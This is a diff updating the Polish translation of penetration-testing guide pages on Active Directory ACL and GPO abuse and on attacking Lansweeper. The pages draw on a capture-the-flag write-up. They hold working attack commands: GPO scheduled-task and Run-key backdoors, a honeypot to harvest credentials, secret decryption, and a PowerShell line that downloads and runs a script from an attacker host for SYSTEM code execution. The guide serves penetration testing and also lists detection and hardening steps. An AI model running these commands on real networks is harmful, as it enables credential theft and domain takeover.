@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
 ```
 ## **WriteDACL + WriteOwner**

-Posiadanie obiektu AD oraz uprawnień `WriteDACL` do niego umożliwia atakującemu nadanie sobie uprawnień `GenericAll` do tego obiektu. Osiąga się to poprzez manipulację ADSI, co pozwala na pełną kontrolę nad obiektem i możliwość modyfikowania jego przynależności do grup. Mimo to istnieją ograniczenia przy próbach wykorzystania tych uprawnień za pomocą cmdletów modułu Active Directory `Set-Acl` / `Get-Acl`.
+Posiadanie obiektu AD oraz uprawnień `WriteDACL` do niego umożliwia atakującemu przyznanie sobie uprawnień `GenericAll` do tego obiektu. Jest to osiągane poprzez manipulację ADSI, co pozwala na pełną kontrolę nad obiektem i możliwość modyfikowania jego członkostw w grupach. Mimo to istnieją ograniczenia przy próbach wykorzystania tych uprawnień za pomocą cmdletów modułu Active Directory `Set-Acl` / `Get-Acl`.
 ```bash
 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
 $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -121,64 +121,64 @@ $ADSI.psbase.commitchanges()
 ```
 ## **Replikacja w domenie (DCSync)**

-The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
+Atak DCSync wykorzystuje konkretne uprawnienia replikacji w domenie, aby naśladować Domain Controller i synchronizować dane, w tym poświadczenia użytkowników. Ta potężna technika wymaga uprawnień takich jak `DS-Replication-Get-Changes`, co pozwala atakującemu wyciągnąć wrażliwe informacje ze środowiska AD bez bezpośredniego dostępu do kontrolera domeny. [**Dowiedz się więcej o ataku DCSync tutaj.**](../dcsync.md)

 ## Delegacja GPO <a href="#gpo-delegation" id="gpo-delegation"></a>

 ### Delegacja GPO

-Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as `offense\spotless` is delegated GPO management rights, they may have privileges like **WriteProperty**, **WriteDacl**, and **WriteOwner**. These permissions can be abused for malicious purposes, as identified using PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Delegowany dostęp do zarządzania Group Policy Objects (GPO) może stwarzać poważne ryzyko bezpieczeństwa. Na przykład, jeśli użytkownik taki jak `offense\spotless` otrzyma prawa do zarządzania GPO, może mieć uprawnienia takie jak **WriteProperty**, **WriteDacl** i **WriteOwner**. Uprawnienia te mogą być nadużyte w celach złośliwych — można je wykryć za pomocą PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

-### Enumeracja uprawnień GPO
+### Wyliczanie uprawnień GPO

-To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Aby zidentyfikować nieprawidłowo skonfigurowane GPO, można łączyć cmdlet-y z PowerSploit. Pozwala to odkryć GPO, którymi konkretny użytkownik może zarządzać: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

-**Komputery z zastosowaną daną polityką**: It's possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
+**Komputery objęte daną polityką**: Można ustalić, do których komputerów dana GPO jest zastosowana, co pomaga zrozumieć zakres potencjalnego wpływu. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`

-**Polityki zastosowane dla konkretnego komputera**: To see what policies are applied to a particular computer, commands like `Get-DomainGPO` can be utilized.
+**Polityki zastosowane na danym komputerze**: Aby zobaczyć, jakie polityki są zastosowane na konkretnym komputerze, można użyć poleceń takich jak `Get-DomainGPO`.

-**OU z zastosowaną daną polityką**: Identifying organizational units (OUs) affected by a given policy can be done using `Get-DomainOU`.
+**Jednostki organizacyjne (OU) objęte daną polityką**: Identyfikację OU, na które wpływa dana polityka, można przeprowadzić za pomocą `Get-DomainOU`.

-You can also use the tool [**GPOHound**](https://github.com/cogiceo/GPOHound) to enumerate GPOs and find issues in them.
+Można też użyć narzędzia [**GPOHound**](https://github.com/cogiceo/GPOHound) do enumeracji GPO i wykrywania problemów w nich.

-### Nadużycie GPO - New-GPOImmediateTask
+### Abuse GPO - New-GPOImmediateTask

-Nieprawidłowo skonfigurowane GPO mogą być wykorzystane do uruchomienia kodu, na przykład poprzez utworzenie natychmiastowego zadania zaplanowanego. Można to zrobić, aby dodać użytkownika do grupy lokalnych administratorów na zaatakowanych maszynach, co znacząco podnosi uprawnienia:
+Nieprawidłowo skonfigurowane GPO można wykorzystać do wykonania kodu, na przykład przez utworzenie natychmiastowego zadania zaplanowanego. Można to wykorzystać do dodania użytkownika do lokalnej grupy administratorów na zaatakowanych maszynach, co znacząco podnosi uprawnienia:
 ```bash
 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
 ```
 ### GroupPolicy module - Abuse GPO

-GroupPolicy module, jeśli jest zainstalowany, pozwala na tworzenie i linkowanie nowych GPOs oraz ustawianie preferencji, takich jak wartości rejestru uruchamiające backdoors na dotkniętych komputerach. Ta metoda wymaga zaktualizowania GPO i zalogowania się użytkownika na komputerze, aby doszło do wykonania:
+GroupPolicy module, jeśli jest zainstalowany, pozwala na tworzenie i łączenie nowych GPOs oraz ustawianie preferencji, takich jak wartości rejestru, które uruchomią backdoors na dotkniętych komputerach. Ta metoda wymaga zaktualizowania GPO i zalogowania się użytkownika do komputera, aby doszło do wykonania:
 ```bash
 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
 ```
 ### SharpGPOAbuse - Abuse GPO

-SharpGPOAbuse oferuje metodę wykorzystania istniejących GPO poprzez dodawanie zadań lub modyfikowanie ustawień bez konieczności tworzenia nowych GPO. To narzędzie wymaga modyfikacji istniejących GPO lub użycia narzędzi RSAT do utworzenia nowych przed zastosowaniem zmian:
+SharpGPOAbuse oferuje metodę nadużycia istniejących GPO poprzez dodawanie zadań lub modyfikowanie ustawień bez konieczności tworzenia nowych GPO. To narzędzie wymaga modyfikacji istniejących GPO lub użycia narzędzi RSAT do utworzenia nowych przed zastosowaniem zmian:
 ```bash
 .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
 ```
-### Wymuś aktualizację zasad
+### Force Policy Update

-Aktualizacje GPO zwykle odbywają się co około 90 minut. Aby przyspieszyć ten proces — szczególnie po wprowadzeniu zmiany — na komputerze docelowym można uruchomić polecenie `gpupdate /force`, aby wymusić natychmiastową aktualizację zasad. Polecenie to gwarantuje zastosowanie modyfikacji GPO bez oczekiwania na kolejny cykl automatycznej aktualizacji.
+Aktualizacje GPO zwykle odbywają się co około 90 minut. Aby przyspieszyć ten proces, szczególnie po wprowadzeniu zmiany, na docelowym komputerze można użyć polecenia `gpupdate /force`, aby wymusić natychmiastową aktualizację zasad. To polecenie zapewnia, że wszelkie modyfikacje GPO zostaną zastosowane bez oczekiwania na następny cykl automatycznej aktualizacji.

-### Szczegóły techniczne
+### Under the Hood

-Po przejrzeniu Scheduled Tasks dla danego GPO, takiego jak `Misconfigured Policy`, można potwierdzić dodanie zadań takich jak `evilTask`. Zadania te są tworzone za pomocą skryptów lub narzędzi wiersza poleceń, mających na celu modyfikację zachowania systemu lub escalate privileges.
+Po sprawdzeniu Scheduled Tasks dla danego GPO, takiego jak `Misconfigured Policy`, można potwierdzić dodanie zadań takich jak `evilTask`. Zadania te są tworzone za pomocą skryptów lub narzędzi wiersza poleceń mających na celu modyfikację zachowania systemu lub eskalację uprawnień.

-Struktura zadania, widoczna w pliku konfiguracyjnym XML wygenerowanym przez `New-GPOImmediateTask`, przedstawia szczegóły zadania zaplanowanego — w tym polecenie do wykonania oraz jego wyzwalacze. Ten plik pokazuje, jak zadania zaplanowane są definiowane i zarządzane w GPOs, dostarczając metodę do wykonywania dowolnych poleceń lub skryptów w ramach egzekwowania polityk.
+Struktura zadania, przedstawiona w pliku konfiguracyjnym XML wygenerowanym przez `New-GPOImmediateTask`, określa szczegóły zaplanowanego zadania — w tym polecenie do wykonania i jego wyzwalacze. Ten plik pokazuje, jak Scheduled Tasks są definiowane i zarządzane w GPO, dostarczając sposób na wykonywanie dowolnych poleceń lub skryptów w ramach egzekwowania zasad.

-### Użytkownicy i grupy
+### Users and Groups

-GPOs pozwalają również na manipulowanie członkostwem użytkowników i grup na systemach docelowych. Poprzez bezpośrednią edycję plików polityk Users and Groups, atakujący mogą dodawać użytkowników do uprzywilejowanych grup, takich jak lokalna grupa `administrators`. Jest to możliwe dzięki delegowaniu uprawnień do zarządzania GPO, co umożliwia modyfikowanie plików polityk w celu dodania nowych użytkowników lub zmiany członkostwa w grupach.
+GPO umożliwiają również manipulowanie członkostwem użytkowników i grup na systemach docelowych. Poprzez bezpośrednie edytowanie plików polityki Users and Groups atakujący mogą dodawać użytkowników do grup uprzywilejowanych, takich jak lokalna grupa `administrators`. Jest to możliwe dzięki delegacji uprawnień do zarządzania GPO, która pozwala na modyfikowanie plików polityki w celu dodania nowych użytkowników lub zmiany członkostw w grupach.

-Plik konfiguracyjny XML dla Users and Groups opisuje, jak te zmiany są implementowane. Poprzez dodanie wpisów do tego pliku, konkretni użytkownicy mogą otrzymać elevated privileges na wszystkich dotkniętych systemach. Ta metoda oferuje bezpośrednie podejście do privilege escalation poprzez manipulację GPO.
+Plik konfiguracyjny XML dla Users and Groups opisuje, jak te zmiany są wdrażane. Dodając wpisy do tego pliku, konkretnym użytkownikom można przyznać podwyższone uprawnienia na objętych systemach. Ta metoda oferuje bezpośrednie podejście do eskalacji uprawnień poprzez manipulację GPO.

-Ponadto można rozważyć dodatkowe metody uruchamiania kodu lub utrzymywania persistence, takie jak wykorzystanie logon/logoff scripts, modyfikacja kluczy rejestru odpowiedzialnych za autoruns, instalacja oprogramowania za pomocą plików .msi lub edycja konfiguracji usług. Techniki te zapewniają różne ścieżki do utrzymania dostępu i kontroli nad systemami docelowymi poprzez nadużycie GPOs.
+Ponadto można rozważyć dodatkowe metody wykonywania kodu lub utrzymywania persistence, takie jak wykorzystanie skryptów logon/logoff, modyfikowanie kluczy rejestru dla autoruns, instalowanie oprogramowania za pomocą plików .msi lub edytowanie konfiguracji usług. Techniki te zapewniają różne sposoby utrzymania dostępu i kontroli nad systemami docelowymi poprzez nadużycie GPO.

-## Źródła
+## References

 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
 - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
--- a/src/windows-hardening/active-directory-methodology/lansweeper-security.md
+++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md
@ -1,28 +1,28 @@
-# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
+# Wykorzystanie Lansweeper: pozyskiwanie poświadczeń, odszyfrowywanie sekretów i Deployment RCE

 {{#include ../../banners/hacktricks-training.md}}

-Lansweeper to platforma do odkrywania i inwentaryzacji zasobów IT często wdrażana na Windows i zintegrowana z Active Directory. Poświadczenia skonfigurowane w Lansweeper są używane przez jego silniki skanujące do uwierzytelniania się do zasobów przez protokoły takie jak SSH, SMB/WMI i WinRM. Błędne konfiguracje często pozwalają na:
+Lansweeper to platforma do odkrywania i inwentaryzacji zasobów IT powszechnie wdrażana na Windows i zintegrowana z Active Directory. Poświadczenia skonfigurowane w Lansweeper są używane przez jego silniki skanujące do uwierzytelniania się na zasobach przez protokoły takie jak SSH, SMB/WMI i WinRM. Błędne konfiguracje często pozwalają na:

- Przechwytywanie poświadczeń przez przekierowanie Scanning Target na host kontrolowany przez atakującego (honeypot)
- Nadużycie AD ACLs eksponowanych przez Lansweeper-related groups w celu uzyskania dostępu zdalnego
- Deszyfrację sekretów skonfigurowanych w Lansweeper bezpośrednio na hoście (connection strings i przechowywane poświadczenia skanowania)
- Wykonanie kodu na zarządzanych endpointach przez funkcję Deployment (często uruchamianą jako SYSTEM)
+- Przechwycenie poświadczeń poprzez przekierowanie celu skanowania na host kontrolowany przez atakującego (honeypot)
+- Nadużycie AD ACLs ujawnionych przez grupy związane z Lansweeper w celu uzyskania zdalnego dostępu
+- Odszyfrowanie na hoście sekretów skonfigurowanych w Lansweeper (connection strings oraz zapisane scanning credentials)
+- Wykonanie kodu na zarządzanych punktach końcowych przez funkcję Deployment (często uruchamianą jako SYSTEM)

-Ta strona podsumowuje praktyczne ścieżki działania atakującego i polecenia do nadużycia tych zachowań podczas engagementów.
+Ta strona podsumowuje praktyczne scenariusze atakującego i polecenia do nadużycia tych zachowań podczas engagementów.

-## 1) Zbieranie poświadczeń skanowania przez honeypot (przykład SSH)
+## 1) Pozyskiwanie scanning credentials przez honeypot (przykład SSH)

-Idea: utwórz Scanning Target wskazujący na Twój host i przypisz do niego istniejące Scanning Credentials. Gdy skan się uruchomi, Lansweeper spróbuje uwierzytelnić się przy użyciu tych poświadczeń, a Twój honeypot je przechwyci.
+Idea: utwórz Scanning Target wskazujący na twój host i przypisz do niego istniejące Scanning Credentials. Gdy skan się uruchomi, Lansweeper spróbuje uwierzytelnić się za pomocą tych poświadczeń, a twój honeypot je przechwyci.

-Przegląd kroków (web UI):
+Przegląd kroków (interfejs webowy):
 - Scanning → Scanning Targets → Add Scanning Target
 - Type: IP Range (or Single IP) = your VPN IP
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
- Disable schedule and plan to trigger manually
- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
+- Skonfiguruj port SSH na coś osiągalnego (np. 2022 jeśli 22 jest zablokowany)
+- Wyłącz harmonogram i uruchom skan ręcznie
+- Scanning → Scanning Credentials → upewnij się, że istnieją Linux/SSH creds; przypisz je do nowego targetu (włącz wszystkie według potrzeby)
 - Kliknij “Scan now” na targetcie
- Uruchom SSH honeypot i pobierz próby użytych username/password
+- Uruchom SSH honeypot i pozyskaj próbowaną nazwę użytkownika/hasło

 Przykład z sshesame:
 ```yaml
@ -39,22 +39,22 @@ sshesame --config sshesame.conf
 # authentication for user "svc_inventory_lnx" with password "<password>" accepted
 # connection with client version "SSH-2.0-RebexSSH_5.0.x" established
 ```
-Zweryfikuj captured creds względem usług DC:
+Zweryfikuj przechwycone poświadczenia względem usług DC:
 ```bash
 # SMB/LDAP/WinRM checks (NetExec)
 netexec smb   inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 netexec ldap  inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Notes
- Działa podobnie dla innych protokołów, gdy możesz zmusić skaner do połączenia z twoim listenerem (SMB/WinRM honeypots, etc.). SSH jest często najprostszy.
- Wiele skanerów identyfikuje się przez charakterystyczne bannery klienta (e.g., RebexSSH) i spróbuje wykonać nieszkodliwe polecenia (uname, whoami, etc.).
+Notatki
+- Działa podobnie dla innych protokołów, gdy możesz zmusić scanner do połączenia się z twoim listenerem (SMB/WinRM honeypots itp.). SSH jest często najprostszy.
+- Wiele scannerów identyfikuje się poprzez charakterystyczne banery klienta (np. RebexSSH) i spróbuje wykonać nieszkodliwe polecenia (uname, whoami itp.).

-## 2) AD ACL abuse: uzyskaj zdalny dostęp, dodając siebie do grupy app-admin
+## 2) AD ACL abuse: uzyskaj zdalny dostęp dodając siebie do app-admin group

-Use BloodHound to enumerate effective rights from the compromised account. A common finding is a scanner- or app-specific group (e.g., “Lansweeper Discovery”) holding GenericAll over a privileged group (e.g., “Lansweeper Admins”). If the privileged group is also member of “Remote Management Users”, WinRM becomes available once we add ourselves.
+Użyj BloodHound, aby wyenumerować effective rights z kompromitowanego konta. Częste znalezisko to grupa specyficzna dla scannera lub aplikacji (np. “Lansweeper Discovery”), posiadająca GenericAll nad uprzywilejowaną grupą (np. “Lansweeper Admins”). Jeśli uprzywilejowana grupa jest także członkiem “Remote Management Users”, WinRM staje się dostępny po dodaniu siebie.

-Przykłady zbierania:
+Collection examples:
 ```bash
 # NetExec collection with LDAP
 netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
@ -62,7 +62,7 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhoun
 # RustHound-CE collection (zip for BH CE import)
 rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
 ```
-Exploit GenericAll na grupie przy użyciu BloodyAD (Linux):
+Exploit GenericAll na grupie za pomocą BloodyAD (Linux):
 ```bash
 # Add our user into the target group
 bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
@ -71,24 +71,24 @@ add groupMember "Lansweeper Admins" svc_inventory_lnx
 # Confirm WinRM access if the group grants it
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Następnie uzyskaj interaktywną powłokę:
+Następnie uzyskaj interaktywny shell:
 ```bash
 evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Wskazówka: operacje Kerberos są zależne od czasu. Jeżeli natrafisz na KRB_AP_ERR_SKEW, najpierw zsynchronizuj czas z DC:
+Wskazówka: operacje Kerberos są wrażliwe na czas. Jeśli napotkasz KRB_AP_ERR_SKEW, najpierw zsynchronizuj czas z DC:
 ```bash
 sudo ntpdate <dc-fqdn-or-ip>   # or rdate -n <dc-ip>
 ```
 ## 3) Odszyfruj sekrety skonfigurowane przez Lansweeper na hoście

-Na serwerze Lansweeper witryna ASP.NET zazwyczaj przechowuje zaszyfrowany connection string oraz klucz symetryczny używany przez aplikację. Mając odpowiedni dostęp lokalny, możesz odszyfrować ciąg połączenia do bazy danych i następnie wyodrębnić przechowywane poświadczenia skanowania.
+Na serwerze Lansweeper strona ASP.NET zwykle przechowuje zaszyfrowany connection string oraz klucz symetryczny używany przez aplikację. Mając odpowiedni dostęp lokalny, możesz odszyfrować ciąg połączenia DB i następnie wydobyć przechowywane poświadczenia skanowania.

 Typowe lokalizacje:
- Plik web.config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
+- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
 - `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
- Klucz aplikacji: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
+- Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`

-Użyj SharpLansweeperDecrypt, aby zautomatyzować odszyfrowywanie i zrzut przechowywanych poświadczeń:
+Użyj SharpLansweeperDecrypt, aby zautomatyzować odszyfrowanie i wydobycie przechowywanych creds:
 ```powershell
 # From a WinRM session or interactive shell on the Lansweeper host
 # PowerShell variant
@ -99,24 +99,24 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
 #  - Connect to Lansweeper DB
 #  - Decrypt stored scanning credentials and print them in cleartext
 ```
-W oczekiwanym wyniku znajdują się szczegóły połączenia z DB oraz jawne dane uwierzytelniające skanowania, takie jak konta Windows i Linux używane w całym środowisku. Często mają one podwyższone lokalne uprawnienia na hostach domenowych:
+Oczekiwany wynik zawiera szczegóły połączeń DB oraz plaintext poświadczenia do skanowania, takie jak konta Windows i Linux używane w całym środowisku. Często mają one podwyższone uprawnienia lokalne na hostach domenowych:
 ```text
 Inventory Windows  SWEEP\svc_inventory_win  <StrongPassword!>
 Inventory Linux    svc_inventory_lnx        <StrongPassword!>
 ```
-Wykorzystaj odzyskane poświadczenia skanowania Windows do uzyskania dostępu uprzywilejowanego:
+Wykorzystaj odzyskane Windows scanning creds do uzyskania uprzywilejowanego dostępu:
 ```bash
 netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
 # Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
 ```
 ## 4) Lansweeper Deployment → SYSTEM RCE

-Jako członek grupy “Lansweeper Admins”, interfejs webowy udostępnia zakładki Deployment i Configuration. W sekcji Deployment → Deployment packages możesz tworzyć pakiety, które uruchamiają dowolne polecenia na wybranych zasobach. Wykonanie odbywa się przez usługę Lansweeper z wysokimi uprawnieniami, co daje wykonanie kodu jako NT AUTHORITY\SYSTEM na wybranym hoście.
+Jako członek „Lansweeper Admins”, interfejs webowy udostępnia Deployment i Configuration. W sekcji Deployment → Deployment packages możesz tworzyć pakiety, które uruchamiają dowolne polecenia na docelowych zasobach. Wykonanie jest przeprowadzane przez Lansweeper service z wysokimi uprawnieniami, co skutkuje wykonaniem kodu jako NT AUTHORITY\SYSTEM na wybranym hoście.

 Główne kroki:
- Utwórz nowy pakiet Deployment, który uruchamia jednowierszowy skrypt PowerShell lub cmd (reverse shell, add-user, itp.).
- Wskaż docelowy zasób (np. DC/host, na którym działa Lansweeper) i kliknij Deploy/Run now.
- Przechwyć swój shell jako SYSTEM.
+- Utwórz nowy Deployment package, który uruchamia jednowierszowy skrypt PowerShell lub cmd (reverse shell, add-user, itp.).
+- Wybierz docelowy zasób (np. DC/host, na którym działa Lansweeper) i kliknij Deploy/Run now.
+- Odbierz swój shell jako SYSTEM.

 Przykładowe payloady (PowerShell):
 ```powershell
@ -127,21 +127,21 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
 powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
 ```
 OPSEC
- Akcje wdrożeniowe są głośne i zostawiają logi w Lansweeper i dziennikach zdarzeń Windows. Używaj rozważnie.
+- Operacje wdrożeniowe są głośne i pozostawiają wpisy w logach Lansweeper oraz w dziennikach zdarzeń Windows. Używaj rozważnie.

-## Wykrywanie i wzmacnianie zabezpieczeń
+## Wykrywanie i utwardzanie

- Ogranicz lub usuń anonimowe enumeracje SMB. Monitoruj RID cycling i anomalny dostęp do udziałów Lansweeper.
- Kontrole ruchu wychodzącego: zablokuj lub ściśle ogranicz outbound SSH/SMB/WinRM z hostów skanujących. Alarmuj na niestandardowe porty (np. 2022) i nietypowe banery klientów, takie jak Rebex.
- Chroń `Website\\web.config` i `Key\\Encryption.txt`. Wyodrębnij sekrety do vault i rotuj je po ujawnieniu. Rozważ konta serwisowe z minimalnymi uprawnieniami oraz gMSA tam, gdzie to możliwe.
- Monitorowanie AD: alarmuj o zmianach w grupach powiązanych z Lansweeper (np. “Lansweeper Admins”, “Remote Management Users”) oraz o zmianach ACL przyznających GenericAll/Write dla grup uprzywilejowanych.
- Audytuj tworzenie/zmiany/wykonywanie pakietów Deployment; alarmuj na pakiety uruchamiające cmd.exe/powershell.exe lub niespodziewane połączenia wychodzące.
+- Ogranicz lub usuń anonimowe enumeracje SMB. Monitoruj RID cycling i anomalne dostępy do udostępnień Lansweeper.
+- Kontrole ruchu wychodzącego: blokuj lub ściśle ogranicz ruch wychodzący SSH/SMB/WinRM z hostów skanujących. Generuj alerty przy niestandardowych portach (np. 2022) i nietypowych banerach klienta, takich jak Rebex.
+- Chroń `Website\\web.config` oraz `Key\\Encryption.txt`. Przenieś sekrety do vault i rotuj je po ekspozycji. Rozważ konta usługowe z minimalnymi uprawnieniami oraz gMSA tam, gdzie to możliwe.
+- Monitorowanie AD: generuj alerty przy zmianach w grupach związanych z Lansweeper (np. “Lansweeper Admins”, “Remote Management Users”) oraz przy zmianach ACL przyznających GenericAll/Write lub umożliwiających modyfikację członkostwa w grupach uprzywilejowanych.
+- Audytuj tworzenie/zmiany/wykonywanie pakietów Deployment; generuj alerty dla pakietów uruchamiających cmd.exe/powershell.exe lub nawiązujących nieoczekiwane połączenia wychodzące.

 ## Powiązane tematy
- SMB/LSA/SAMR enumeration and RID cycling
- Kerberos password spraying and clock skew considerations
- BloodHound path analysis of application-admin groups
- WinRM usage and lateral movement
+- SMB/LSA/SAMR enumeration i RID cycling
+- Kerberos password spraying i uwzględnienie rozbieżności czasu (clock skew)
+- Analiza ścieżek BloodHound dla grup application-admin
+- Wykorzystanie WinRM i lateral movement

 ## Referencje
 - [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)